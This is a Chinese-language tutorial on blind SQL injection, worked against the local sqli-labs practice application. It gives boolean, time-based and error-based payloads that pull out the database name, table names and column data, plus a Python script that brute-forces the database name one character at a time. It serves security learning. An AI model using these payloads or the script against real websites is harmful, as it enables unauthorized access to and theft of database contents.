1. 程式人生 > >SQL盲注注入——布林型

SQL盲注注入——布林型

盲注是注入的一種,指的是在不知道資料庫返回值的情況下對資料中的內容進行猜測,實施SQL注入。盲注一般分為布林盲注和基於時間的盲注和報錯的盲注。本次主要講解的是基於布林的盲注。

Length()函式 返回字串的長度
Substr()擷取字串
Ascii()返回字元的ascii碼
sleep(n):將程式掛起一段時間 n為n秒
if(expr1,expr2,expr3):判斷語句 如果第一個語句正確就執行第二個語句如果錯誤執行第三個語句

當然如果上面的函式被禁用,也有相應的函式替換。可百度

布林型:頁面只返回True和False兩種型別頁面。利用頁面返回不同,逐個猜解資料

http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+

當前資料庫database()的長度大於10,返回true頁面,否則FALSE頁面

報錯型:構造payload讓資訊通過錯誤提示回顯出來,一種型別(其它的暫時不怎麼了解)是先報欄位數,再利用後臺資料庫報錯機制回顯(跟一般的報錯區別是,一般的報錯注入是爆出欄位數後,在此基礎通過正確的查詢語句,使結果回顯到頁面;後者是在爆出欄位數的基礎上使用能觸發SQL報錯機制的注入語句)

列如典型payload:

Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;

count(*)計數   concat()連線字元   floor()重複資料,返回0,1兩個值  group by 進行分組 rand(0)避免資料重複造成的錯誤

時間型:通過頁面沉睡時間判斷

通過 sleep()函式測試,通過if()和sleep()聯合逐個猜解資料

http://127.0.0.1/Less-9/?id=1' and (if(ascii(substr(database(),1,1))>100,sleep(10),sleep(4))  --+ 

如果當前查詢的當前資料庫ascii(substr(database()),1,1)的第一個字元的ASCII碼大於100,ture 沉睡10秒,FALSE 沉睡4秒

布林型詳解:

 測試頁面:

get一個引數 id =1,返回TRUE頁面

注入測試加單引號id=1',返回不正確頁面。

到這裡初步確定單引號存在注入,TRUE頁面有’you are in...........‘,FALSE頁面不存在’you are in ........‘

 原始碼:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";驗證確實是由於單引號閉合導致注入漏洞。後臺執行結果SELECT * FROM users WHERE id='1’' 原因單引號在閉合後還存在一個單引號。會引起查詢報錯

知道為盲注布林型注入,利用上面的函式進行猜解

猜當前資料庫第一個字元:(下面程式碼還需進行編碼)

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1'and ascii(substr(database(),1,1))>114#

利用二分法,115為fal,114TRUE,資料庫第一個字元ASCII為115,即s

同理修改substr(database(),2,1)可猜第二個字元,之後同理,當然在猜資料庫字元前也可先猜資料庫長度:length(database())

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr(database(),1,1))>114# 這條語句在後臺為:

SELECT * FROM users WHERE id='1' and ascii(substr(database(),1,1))>114#'(後面單引號被#註釋掉)

後面的表,列,欄位猜解在上篇有介紹查詢語句

如表

http://127.0.0.1/Less-8/index.php?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100#

其它就不一一寫了。

接下來是自己寫的Python指令碼,爆破資料庫長度和資料庫

import requests
def database_len():
	for i in range(1,10):
		url = '''http://127.0.0.1/sqli-labs-master/Less-8/index.php'''
		payload = '''?id=1' and length(database())>%s''' %i
		# print(url+payload+'%23')
		r = requests.get(url+payload+'%23')
		if 'You are in' in r.text:
			print(i)

		else:
			#print('false')
			print('database_length:',i)
			break
database_len()

def database_name():
	name = ''
	for j in range(1,9):
		for i in 'sqcwertyuioplkjhgfdazxvbnm':
			url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" %(j,i)
			# print(url+'%23')
			r = requests.get(url+'%23')
			if 'You are in' in r.text:
				name = name+i
				
				print(name)
				
				break
	print('database_name:',name)
	
		
	
database_name()

表,欄位,改下payload就可以跑了。